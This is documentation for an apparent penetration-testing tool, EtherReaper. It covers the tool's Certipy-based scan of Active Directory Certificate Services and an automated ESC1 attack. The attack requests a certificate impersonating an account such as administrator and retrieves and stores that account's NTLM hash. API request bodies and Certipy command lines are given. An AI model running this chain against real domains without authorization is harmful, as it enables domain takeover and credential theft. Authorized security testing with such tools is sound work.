Skip to main content
EtherReaper integrates Certipy for Active Directory Certificate Services (ADCS) enumeration and exploitation. The workflow covers scanning for misconfigurations (ESC1–ESC8+), reviewing discovered vulnerabilities, and executing a fully automated ESC1 attack chain.

ADCS scan

Runs certipy-ad find to enumerate certificate authorities and templates, identifying misconfigurations across the ESC1–ESC8+ vulnerability classes. Endpoint: POST /api/adcs/run Under the hood: Runs certipy-ad find -u <user>@<domain> -p <pass> -target <dc_ip> -dc-ip <dc_ip> -enabled -hide-admins [-vulnerable] -stdout -json -output <domain>. Certipy writes a JSON file to /tmp/<domain>_Certipy.json, which EtherReaper moves to recon/adcs.json and then imports into the adcs_vulns table. Request body:
{
  "target": "192.168.1.10",
  "username": "jdoe",
  "password": "Password123",
  "domain": "corp.local",
  "vulnerable_only": true,
  "use_kerberos": false,
  "use_kcache": false
}
FieldDefaultDescription
targetDC IP from Network InfoTarget DC IP or domain name
vulnerable_onlytrueWhen true, passes -vulnerable to Certipy and imports only vulnerable objects. When false, imports all templates and CAs with their vulnerable status.
Output file: recon/adcs.json
The ADCS scan runs in-process (not as a background task). It waits for Certipy to finish before returning. On large environments with many templates this can take 30–60 seconds.

Viewing vulnerabilities

Endpoint: GET /api/adcs/vulns Returns all records from the adcs_vulns table, ordered by object type (CAs first), then vulnerability severity, then ESC ID.
{
  "vulns": [
    {
      "esc_id": "ESC1",
      "vuln_object": "UserTemplate",
      "object_type": "Template",
      "vulnerable": 1,
      "enabled": 1,
      "enrollment_rights": "Domain Users",
      "details": "Enrollee supplies subject, Client Auth enabled",
      "manager_approval": 0,
      "remarks": "..."
    }
  ]
}

adcs_vulns table schema

ColumnDescription
scan_idUUID of the scan that discovered this entry
targetDC IP used during the scan
esc_idESC identifier (e.g. ESC1, ESC3, N/A for non-vulnerable)
vuln_objectCertificate template or CA name
object_typeTemplate or CA
vulnerable1 if vulnerable, 0 if not
enabled1 if the template is enabled in AD
enrollment_rightsPrincipals allowed to enroll (e.g. Domain Users)
detailsVulnerability details: ESC description, enrollee subject flag, client auth status
manager_approval1 if the template requires manager approval before issuance
remarksRaw Certipy vulnerability description

Managing vulnerability records

Bulk delete: POST /api/adcs/bulk-delete Remove selected vulnerability records from the database. Useful for cleaning up false positives or cleared findings.
{
  "entries": [
    {"object": "UserTemplate", "type": "Template"},
    {"object": "corp-CA", "type": "CA"}
  ]
}
List ESC1 templates: GET /api/adcs/esc1-templates Returns all Template records with esc_id = ESC1 and vulnerable = 1 from the last scan, plus the CA name and hostname — used to auto-populate the ESC1 attack form.
{
  "templates": [
    {"name": "UserTemplate", "enrollment_rights": "Domain Users"}
  ],
  "ca_name": "corp-CA",
  "ca_host": "ca.corp.local"
}

ESC1 attack

The ESC1 attack exploits certificate templates that allow the enrollee to supply an arbitrary Subject Alternative Name (SAN). This lets a low-privilege user request a certificate impersonating any domain account, including Domain Admin. EtherReaper runs the full three-step Certipy chain automatically. Endpoint: POST /api/adcs/esc1/run
1

Query objectSid

Runs certipy-ad account ... read to retrieve the objectSid of the target account (the UPN you want to impersonate). The SID is used as a fallback identifier during certificate request.
2

Request certificate

Runs certipy-ad req with the vulnerable template, CA host, CA name, and the target UPN. The certificate is saved as a .pfx file in recon/. Timeout: 180 seconds.
3

Authenticate with certificate

Runs certipy-ad auth -pfx <file> -dc-ip <dc_ip> to authenticate using the certificate and retrieve the NTLM hash for the impersonated account. The hash is automatically saved to the credentials database with source certipy-ESC1.
Required parameters:
{
  "username": "jdoe",
  "password": "Password123",
  "domain": "corp.local",
  "dc_ip": "192.168.1.10",
  "ca_host": "ca.corp.local",
  "ca_name": "corp-CA",
  "template": "UserTemplate",
  "upn": "administrator"
}
FieldDescription
username / passwordYour enrolling account credentials
domainTarget domain
dc_ipDomain controller IP
ca_hostCA server hostname (auto-filled from last ADCS scan)
ca_nameCertificate authority name (auto-filled from last ADCS scan)
templateVulnerable ESC1 template name (auto-populated from last ADCS scan)
upnTarget account to impersonate (e.g. administrator)
ca_host, ca_name, and template are auto-populated from the last ADCS scan. You only need to fill in the upn — the account to impersonate.

Checking ESC1 status

The ESC1 attack runs as a background task. Poll for status using: Endpoint: GET /api/adcs/esc1/status?scan_id=<scan_id>
{
  "status": "completed",
  "phase": "auth",
  "output": "...",
  "ntlm_hash": "aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe",
  "scan_id": "..."
}
Possible status values: running, completed, error. Possible phase values: sid, req, auth.

Where the attack is accessible

The ESC1 attack can be launched from three places:

Sidebar

Direct link in the AD Authenticated section.

ADCS scan results

Launch button appears inline on the ADCS vulnerability results page next to ESC1 findings.

Domain Info → ADCS tab

Available under DATA → Domain Info when ADCS data has been collected.

Result

If the attack succeeds, the NTLM hash for the impersonated account is:
  1. Displayed in the output panel
  2. Saved automatically to the credentials database (source: certipy-ESC1)
  3. Available immediately in the Saved Credentials dropdown for subsequent scans
Any .ccache files produced by Certipy are moved from recon/ into recon/ccache/ automatically.

Build docs developers (and LLMs) love